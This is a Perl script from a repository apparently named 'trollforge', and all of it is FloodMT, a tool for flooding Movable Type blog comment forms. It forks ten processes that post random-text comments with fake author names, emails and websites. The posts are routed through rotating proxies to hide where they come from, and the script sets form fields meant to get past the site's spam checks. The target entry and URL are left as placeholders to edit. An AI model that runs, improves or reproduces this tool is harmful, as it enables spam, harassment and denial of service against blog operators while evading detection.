source: trollforge/dsp-trollforge/MovableType/FloodMT.pl @ 212

#!/usr/bin/perl

use strict;
use warnings;

use LWP::Simple;
use LWP::UserAgent;
use Term::ANSIColor qw(:constants);
$Term::ANSIColor::AUTORESET = 1;


# ---BEGIN--- EDIT
my $entry_id = 666;
my $url = "http://www.somesite.com/mt/mt-comments.cgi";
# each fork will post $repeat comments.
my $repeat = 50;
my $forks = 10;

my $proxyfile = "mtproxies";
# ---END--- EDIT

my (@pl, $author, $email, $text, $website, $response);

# if you delete this, floodmt will read proxies from a file as defined by $proxyfile
@pl = (
                'http://proxies.go.here:port',
                'http://like.this:port'
);

my $bot = LWP::UserAgent->new;
$bot->agent('Mozilla/5.0 [en] (FloodMT; http://floodmt.sf.net)');

sub rnd_int {
        return (int(rand()* shift));
}

sub rnd_char {
        return (chr(rnd_int(24)+97));
}

sub rnd_string {
        my ($min, $max) = @_;
        return gen_string(rnd_int($max-$min)+$min);
}

sub rnd_proxy() {
        return @pl[rnd_int($#pl)];
}

sub gen_string {
        my $max = shift;
        my $i=0;
        my $string;
        while($i<$max) { $string.=rnd_char();$i++ }
        return $string; 
}

sub gen_tld {
        my @tld=('.ee','.us','.be','.sk','.int','.mil','.gov',
                '.org','.com','.net','.cx','.no','.eu');
        return (@tld[rnd_int($#tld)]);
}

sub gen_email {
        return (rnd_string(3,13)."@".rnd_string(3,13).gen_tld())
}

sub gen_website {
        return ("www.".rnd_string(3,15).gen_tld());
}

sub msg {
        return (CYAN, "-!- ", WHITE);
}

sub flood {
        my $p = shift;
        my $i = 0;
        my $pr;
        my $suc = 0;
        while($repeat > $i) {
                $i++;

                my $email='';
                my $n=0;
        
                $author = rnd_string(4,20);
                $email = gen_email();
                $text = rnd_string(400,900);
                $website = gen_website();
                $pr = rnd_proxy();
                $bot->proxy('http', $pr);

                print msg() ,"child $p: ($suc/$i) ", CYAN, "[$pr] ", WHITE, "posting comment $i/$repeat ... ";

                $response = $bot->post($url,
                        [
                        entry_id => $entry_id, 
                        author => $author,
                        email => $email,
                        text => $text,
                        post => 'Post ',
                        checkbox => 'false',
                        snoop => 'goaway',
                        bully => 'goaway',
                #       code => 'later',
                #       scode => 'later',
                        url => $website
                        ],      
                );
                if($response->is_success()) {           
                        $suc++;
                        print GREEN, "OK.\n";
                }
                else { 
                        print RED, "Failed.\n";
                }
        }
        print msg(), "child $p exiting... \n";
}

my $arg = (shift @ARGV || '0') ;
if(($arg eq '-v')||($arg eq '--version')) {
        print msg(), "FloodMT 1.2 on ".`uname -sp`;
        exit(0);
} elsif(($arg eq '-h')||($arg eq '--help')) {
        print "\nOpen floodmt.pl with your editor of choice and read the damn thing\n";
        print "use -v or --version to find out which floodmt version you have\n";
        exit(0);
}

unless(@pl) {
        open (PROXYFILE, $proxyfile) or die "$!";
        my $h=0;
        while(<PROXYFILE>) {
                chomp;
                $pl[$h] = $_;
                $h++;
        }
}

close PROXYFILE;

print msg(), "init complete, loading children... \n\n";
sleep(1);

for(my $w=0; $w < $forks; $w++) {
        my $id = fork();
        if($id==0) {
                flood($w+1);
                exit(0);
        }
        else {

        }
}

sleep(1);
print "\n\n", msg() ,"floodmt is going to sleep. don't forget to wake it up.\n";
print msg(),"should you change your mind press C-c and it will all end.\n\n";
sleep();